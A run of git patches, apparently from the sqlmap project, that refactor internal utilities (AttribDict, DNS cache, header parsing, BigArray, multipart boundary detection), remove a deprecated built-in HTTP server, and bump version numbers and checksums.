dict.__init__(self, indict) - self.__initialised = True - - # After initialisation, setting attributes - # is the same as setting an item + self.__dict__["_attribute"] = attribute + self.__dict__["_keycheck"] = keycheck + self.__dict__["_initialized"] = True def __getattr__(self, item): """ @@ -45,7 +42,7 @@ def __getattr__(self, item): try: return self.__getitem__(item) except KeyError: - if self.keycheck: + if self.__dict__.get("_keycheck"): raise AttributeError("unable to access item '%s'" % item) else: return None @@ -58,7 +55,7 @@ def __delattr__(self, item): try: return self.pop(item) except KeyError: - if self.keycheck: + if self.__dict__.get("_keycheck"): raise AttributeError("unable to access item '%s'" % item) else: return None @@ -69,14 +66,8 @@ def __setattr__(self, item, value): Only if we are initialised """ - # This test allows attributes to be set in the __init__ method - if "_AttribDict__initialised" not in self.__dict__: - return dict.__setattr__(self, item, value) - - # Any normal attributes are handled normally - elif item in self.__dict__: - dict.__setattr__(self, item, value) - + if "_initialized" not in self.__dict__ or item in self.__dict__: + self.__dict__[item] = value else: self.__setitem__(item, value) @@ -87,14 +78,12 @@ def __setstate__(self, dict): self.__dict__ = dict def __deepcopy__(self, memo): - retVal = self.__class__(keycheck=self.keycheck) + retVal = self.__class__(keycheck=self.__dict__.get("_keycheck")) memo[id(self)] = retVal - for attr in dir(self): - if not attr.startswith('_'): - value = getattr(self, attr) - if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): - setattr(retVal, attr, copy.deepcopy(value, memo)) + for attr, value in self.__dict__.items(): + if attr not in ('_attribute', '_keycheck', '_initialized'): + setattr(retVal, attr, copy.deepcopy(value, memo)) for key, value in self.items(): retVal.__setitem__(key, copy.deepcopy(value, memo)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 348c9350e7b..6927ca34251 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.59" +VERSION = "1.10.1.60" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1a97d9e296b0103ec53a923871c7ff9ccc829ec0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 16:20:39 +0100 Subject: [PATCH 063/135] Removing some deprecated components --- data/html/index.html | 151 ---------------------------------------- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- lib/utils/httpd.py | 141 ------------------------------------- 4 files changed, 2 insertions(+), 296 deletions(-) delete mode 100644 data/html/index.html delete mode 100644 lib/utils/httpd.py diff --git a/data/html/index.html b/data/html/index.html deleted file mode 100644 index 576f2763b8c..00000000000 --- a/data/html/index.html +++ /dev/null @@ -1,151 +0,0 @@ - - - - - - - Codestin Search App - - - - - - - - - - - - - - - - diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 31cdb6e8d99..b245cd72918 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -1,4 +1,3 @@ -39a8a35d730f49daf657fa58903a9cd309813b275df29a86439297a10a15261a data/html/index.html e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql 6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql 798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql @@ -189,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d6577e20ed58d058dcde4341010e3ea26240cc959185ce9471eda0fab17a21cf lib/core/settings.py +2259cd254a49009d258ba1aee0e6b3e07792264992cac11779767ef89915b59e lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -251,7 +250,6 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 366e6fd5356fae7e3f2467c070d064b6695be80b50f1530ea3c01e86569b58b2 lib/utils/har.py ca82ddc36d660c479bb47201182f47411b1f75a847a556229987f2d005fc5832 lib/utils/hashdb.py 84bf572a9e7915e91dbffea996e1a7b749392725f1ad7f412d0ff48c636a2896 lib/utils/hash.py -dc68b7fdb2ae0e958f2a553984a94a06832d216a3209f632ad9ff53f17554524 lib/utils/httpd.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 22ba65391b0a73b1925e5becf8ddab6ba73a196d86e351a2263509aad6676bd7 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6927ca34251..e3b1eeb9779 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.60" +VERSION = "1.10.1.61" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py deleted file mode 100644 index bdd9646ba01..00000000000 --- a/lib/utils/httpd.py +++ /dev/null @@ -1,141 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission -""" - -from __future__ import print_function - -import mimetypes -import gzip -import os -import re -import sys -import threading -import time -import traceback - -sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))) - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import UNICODE_ENCODING -from lib.core.settings import VERSION_STRING -from thirdparty import six -from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer -from thirdparty.six.moves import http_client as _http_client -from thirdparty.six.moves import socketserver as _socketserver -from thirdparty.six.moves import urllib as _urllib - -HTTP_ADDRESS = "0.0.0.0" -HTTP_PORT = 8951 -DEBUG = True -HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html")) -DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") - -class ThreadingServer(_socketserver.ThreadingMixIn, _BaseHTTPServer.HTTPServer): - def finish_request(self, *args, **kwargs): - try: - _BaseHTTPServer.HTTPServer.finish_request(self, *args, **kwargs) - except Exception: - if DEBUG: - traceback.print_exc() - -class ReqHandler(_BaseHTTPServer.BaseHTTPRequestHandler): - def do_GET(self): - path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") - params = {} - content = None - - if query: - params.update(_urllib.parse.parse_qs(query)) - - for key in params: - if params[key]: - params[key] = params[key][-1] - - self.url, self.params = path, params - - if path == '/': - path = "index.html" - - path = path.strip('/') - - path = path.replace('/', os.path.sep) - path = os.path.abspath(os.path.join(HTML_DIR, path)).strip() - - if not os.path.isfile(path) and os.path.isfile("%s.html" % path): - path = "%s.html" % path - - if ".." not in os.path.relpath(path, HTML_DIR) and os.path.isfile(path) and not path.endswith(DISABLED_CONTENT_EXTENSIONS): - content = open(path, "rb").read() - self.send_response(_http_client.OK) - self.send_header(HTTP_HEADER.CONNECTION, "close") - self.send_header(HTTP_HEADER.CONTENT_TYPE, mimetypes.guess_type(path)[0] or "application/octet-stream") - else: - content = ("Codestin Search App

Not Found

The requested URL %s was not found on this server.

" % self.path.split('?')[0]).encode(UNICODE_ENCODING) - self.send_response(_http_client.NOT_FOUND) - self.send_header(HTTP_HEADER.CONNECTION, "close") - - if content is not None: - for match in re.finditer(b"", content): - name = match.group(1) - _ = getattr(self, "_%s" % name.lower(), None) - if _: - content = self._format(content, **{name: _()}) - - if "gzip" in self.headers.get(HTTP_HEADER.ACCEPT_ENCODING): - self.send_header(HTTP_HEADER.CONTENT_ENCODING, "gzip") - _ = six.BytesIO() - compress = gzip.GzipFile("", "w+b", 9, _) - compress._stream = _ - compress.write(content) - compress.flush() - compress.close() - content = compress._stream.getvalue() - - self.send_header(HTTP_HEADER.CONTENT_LENGTH, str(len(content))) - - self.end_headers() - - if content: - self.wfile.write(content) - - self.wfile.flush() - - def _format(self, content, **params): - if content: - for key, value in params.items(): - content = content.replace("" % key, value) - - return content - - def version_string(self): - return VERSION_STRING - - def log_message(self, format, *args): - return - - def finish(self): - try: - _BaseHTTPServer.BaseHTTPRequestHandler.finish(self) - except Exception: - if DEBUG: - traceback.print_exc() - -def start_httpd(): - server = ThreadingServer((HTTP_ADDRESS, HTTP_PORT), ReqHandler) - thread = threading.Thread(target=server.serve_forever) - thread.daemon = True - thread.start() - - print("[i] running HTTP server at '%s:%d'" % (HTTP_ADDRESS, HTTP_PORT)) - -if __name__ == "__main__": - try: - start_httpd() - - while True: - time.sleep(1) - except KeyboardInterrupt: - pass From caccfe85ed55fcc2119c30278acb0c2b0f279d23 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 18:06:53 +0100 Subject: [PATCH 064/135] Minor patch for DNS cache --- data/txt/sha256sums.txt | 4 ++-- lib/core/option.py | 11 ++++++----- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b245cd72918..3f26518e3e4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,14 +181,14 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77 lib/core/optiondict.py -4dc6383b5d9cfff5b1bf8ffa8b0b02a7dbd8df8624b76030f8925c2dbdee9bf9 lib/core/option.py +86070b96d28df6caa55e56f8fb16ba162524cab92a2d70eb110ae30f25099866 lib/core/option.py 8171f6ee33e7742f06bb3014a28324496374beddee7b378ace10a26414a97762 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2259cd254a49009d258ba1aee0e6b3e07792264992cac11779767ef89915b59e lib/core/settings.py +b8ff39ed2acea39d472d81cfa78e4cfab62878e728059755eba928d3f4aee2aa lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/option.py b/lib/core/option.py index 1fdb750c537..967163fcd4b 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1034,12 +1034,13 @@ def _setDNSCache(): """ def _getaddrinfo(*args, **kwargs): - if args in kb.cache.addrinfo: - return kb.cache.addrinfo[args] + key = (args, frozenset(kwargs.items())) - else: - kb.cache.addrinfo[args] = socket._getaddrinfo(*args, **kwargs) - return kb.cache.addrinfo[args] + if key in kb.cache.addrinfo: + return kb.cache.addrinfo[key] + + kb.cache.addrinfo[key] = socket._getaddrinfo(*args, **kwargs) + return kb.cache.addrinfo[key] if not hasattr(socket, "_getaddrinfo"): socket._getaddrinfo = socket.getaddrinfo diff --git a/lib/core/settings.py b/lib/core/settings.py index e3b1eeb9779..281937549e9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.61" +VERSION = "1.10.1.62" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e9e0b6a7fe21a8f72337eeae22963073bddef6b2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 18:14:03 +0100 Subject: [PATCH 065/135] Minor optimization of headersParser logic --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/parse/headers.py | 11 +++++------ 3 files changed, 8 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3f26518e3e4..5083a8b6912 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b8ff39ed2acea39d472d81cfa78e4cfab62878e728059755eba928d3f4aee2aa lib/core/settings.py +5d4f8540bf17c65f0dfa6b3edc0ea9694024782eacc92f67ba50954c87f554a3 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -202,7 +202,7 @@ ec11fd5a3f4efd10a1cae288157ac6eb6fb75da4666d76d19f6adf74ac338b5a lib/core/wordl a9f10a558684778bdb00d446cb88967fc1bfd413ae6a5f4bd582b3ea442baa87 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py -97361d481a97b600a3086b7f228f54ffa68a78df8b63b76bfaa5495d66770b63 lib/parse/headers.py +5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py 1ad9054cd8476a520d4e2c141085ae45d94519df5c66f25fac41fe7d552ab952 lib/parse/html.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/parse/__init__.py d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 281937549e9..3fd768cb52d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.62" +VERSION = "1.10.1.63" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/headers.py b/lib/parse/headers.py index b5767b62b1e..0a47a0985cc 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -29,9 +29,8 @@ def headersParser(headers): "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } - for header in (_.lower() for _ in headers if _.lower() in kb.headerPaths): - value = headers[header] - xmlfile = kb.headerPaths[header] - handler = FingerprintHandler(value, kb.headersFp) - parseXmlFile(xmlfile, handler) - parseXmlFile(paths.GENERIC_XML, handler) + for header, xmlfile in kb.headerPaths.items(): + if header in headers: + handler = FingerprintHandler(headers[header], kb.headersFp) + parseXmlFile(xmlfile, handler) + parseXmlFile(paths.GENERIC_XML, handler) From 683c2586000c968917a1a032187e2ba726711936 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 18:19:27 +0100 Subject: [PATCH 066/135] Trivial optimization of BigArray --- data/txt/sha256sums.txt | 4 ++-- lib/core/bigarray.py | 3 +-- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5083a8b6912..aa8eba053e8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 56e03690c1b783699c9f30cb2f8cc743d3716aba8137e6b253b21d1dd31a4314 lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py -3f13b3856fb5c51a392bfe90e8380b44ec74e7df82d50940e28536a1a5e513a6 lib/core/bigarray.py +5ee5af974f5f7f548780a31988d7dd5d01a04fe5b44fa8380c32ece8fa7fdc0c lib/core/bigarray.py af24159b8ca5b8fe5e13cdfdedc2a758a2f4883361a601e0a550127cff368b3a lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5d4f8540bf17c65f0dfa6b3edc0ea9694024782eacc92f67ba50954c87f554a3 lib/core/settings.py +48bc36af40ab1af6e930f26793da5662d582e04e53491a511ca0db7b0be2625f lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index b9f78c07a57..1741f0f5dee 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -187,8 +187,7 @@ def _dump(self, chunk): try: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) self.filenames.add(filename) - os.close(handle) - with open(filename, "w+b") as f: + with os.fdopen(handle, "w+b") as f: f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) return filename except (OSError, IOError) as ex: diff --git a/lib/core/settings.py b/lib/core/settings.py index 3fd768cb52d..1c621cbfa99 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.63" +VERSION = "1.10.1.64" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 600823f7c10a0e6da291334869b676ce512e748c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 18:31:14 +0100 Subject: [PATCH 067/135] Minor improvement of BigArray --- data/txt/sha256sums.txt | 4 ++-- lib/core/bigarray.py | 9 ++++++++- lib/core/settings.py | 2 +- 3 files changed, 11 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index aa8eba053e8..167ea52f2b4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 56e03690c1b783699c9f30cb2f8cc743d3716aba8137e6b253b21d1dd31a4314 lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py -5ee5af974f5f7f548780a31988d7dd5d01a04fe5b44fa8380c32ece8fa7fdc0c lib/core/bigarray.py +b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py af24159b8ca5b8fe5e13cdfdedc2a758a2f4883361a601e0a550127cff368b3a lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -48bc36af40ab1af6e930f26793da5662d582e04e53491a511ca0db7b0be2625f lib/core/settings.py +146926ec4398f42f125d0e47c89f0645bffdfcdcfe4d243402aa94872a49f06b lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 1741f0f5dee..7e33524b8d4 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -93,6 +93,10 @@ class BigArray(list): >>> _ = __ >>> _[-1] 1 + >>> _.pop() + 1 + >>> len(_) + 100001 >>> len([_ for _ in BigArray(xrange(100000))]) 100000 """ @@ -148,8 +152,11 @@ def pop(self): if not self.chunks[-1] and len(self.chunks) > 1: self.chunks.pop() try: - with open(self.chunks[-1], "rb") as f: + filename = self.chunks[-1] + with open(filename, "rb") as f: self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) + self._os_remove(filename) + self.filenames.discard(filename) except IOError as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex diff --git a/lib/core/settings.py b/lib/core/settings.py index 1c621cbfa99..2a57895474a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.64" +VERSION = "1.10.1.65" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 362f7aae0a529553379bb737843b3132b8b0b4a2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 18:46:59 +0100 Subject: [PATCH 068/135] Minor optimization of findMultipartPostBoundary --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 19 ++++++------------- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 16 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 167ea52f2b4..86ec48c29a1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -af24159b8ca5b8fe5e13cdfdedc2a758a2f4883361a601e0a550127cff368b3a lib/core/common.py +caa0515c5049d238333dcc50b7fda28b7d0573ca36e0e8877e0ffc091cdf9d26 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -146926ec4398f42f125d0e47c89f0645bffdfcdcfe4d243402aa94872a49f06b lib/core/settings.py +95f31c753e2dd1f1a88eea5b468b738d4000fb3cd2eda12141592bf0b3211741 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index f92d20ac1c6..fbf351efe86 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2923,22 +2923,15 @@ def findMultipartPostBoundary(post): """ retVal = None - - done = set() - candidates = [] + counts = {} for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): - _ = match.group(1).strip().strip('-') - - if _ in done: - continue - else: - candidates.append((post.count(_), _)) - done.add(_) + boundary = match.group(1).strip().strip('-') + counts[boundary] = counts.get(boundary, 0) + 1 - if candidates: - candidates.sort(key=lambda _: _[0], reverse=True) - retVal = candidates[0][1] + if counts: + sorted_boundaries = sorted(counts.items(), key=lambda x: x[1], reverse=True) + retVal = sorted_boundaries[0][0] return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 2a57895474a..ee1629cbc58 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.65" +VERSION = "1.10.1.66" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fbee649fb6bd772c7c1172d05de3e851f8dedd7a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 18:49:46 +0100 Subject: [PATCH 069/135] Minor optimization of chunkSplitPostData --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 13 ++++++++----- lib/core/settings.py | 2 +- 3 files changed, 11 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 86ec48c29a1..5ee9f8c5da1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py 